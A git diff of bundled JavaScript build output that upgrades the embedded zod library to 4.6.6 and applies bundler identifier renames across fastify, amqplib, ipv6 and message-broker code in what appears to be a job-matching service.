uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -77484,9 +82470,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -77520,7 +82524,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union2(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint4, @@ -77545,9 +82746,6 @@ function date5(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -78001,8 +83199,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent2(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent2(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -78989,8 +84187,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -79055,13 +84253,13 @@ function inList(values2) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -79362,12 +84560,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -79380,14 +84578,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -79420,17 +84618,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -79468,9 +84666,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -79522,9 +84720,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -79596,9 +84794,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent2(JSON.parse(message.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message, false, false); @@ -79608,8 +84806,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -79881,35 +85079,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("matching-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { @@ -79985,23 +85183,23 @@ async function listCandidateUserIds(db2, limit = RESCORE_BATCH_LIMIT) { } // services/matching/src/repo/scores.ts -async function upsertScore(db2, input) { +async function upsertScore(db2, input2) { const now = (/* @__PURE__ */ new Date()).toISOString(); await db2.insert(schema_exports.jobScores).values({ - jobId: input.jobId, - userId: input.userId, - score: input.score, - reasons: input.reasons, - skillGaps: input.skillGaps, - modelVersion: input.modelVersion, + jobId: input2.jobId, + userId: input2.userId, + score: input2.score, + reasons: input2.reasons, + skillGaps: input2.skillGaps, + modelVersion: input2.modelVersion, scoredAt: now }).onConflictDoUpdate({ target: [schema_exports.jobScores.jobId, schema_exports.jobScores.userId], set: { - score: input.score, - reasons: input.reasons, - skillGaps: input.skillGaps, - modelVersion: input.modelVersion, + score: input2.score, + reasons: input2.reasons, + skillGaps: input2.skillGaps, + modelVersion: input2.modelVersion, scoredAt: now } }); diff --git a/api/outreach/index.js b/api/outreach/index.js index ab7613e..1ed6160 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has = Object.prototype.hasOwnProperty; var undef; - function decode4(input) { + function decode4(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode4(input) { + function encode4(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -13820,8 +13820,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -13908,12 +13908,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -14629,21 +14629,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -14659,7 +14659,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -14706,11 +14706,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -14724,7 +14724,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -15695,29 +15695,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -15728,36 +15728,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -16428,7 +16428,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -16571,7 +16571,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -16839,23 +16839,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -16930,11 +16930,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -16957,12 +16957,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -17288,14 +17288,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -18724,8 +18724,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -18735,8 +18735,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -18775,8 +18775,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -18791,8 +18791,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18836,8 +18836,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18876,8 +18876,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18905,8 +18905,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -19418,7 +19418,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -19433,7 +19433,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -19443,7 +19443,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -19582,7 +19582,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -19591,14 +19591,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -19609,22 +19609,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema4] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema4] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19662,7 +19662,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema4] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -19721,7 +19721,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, 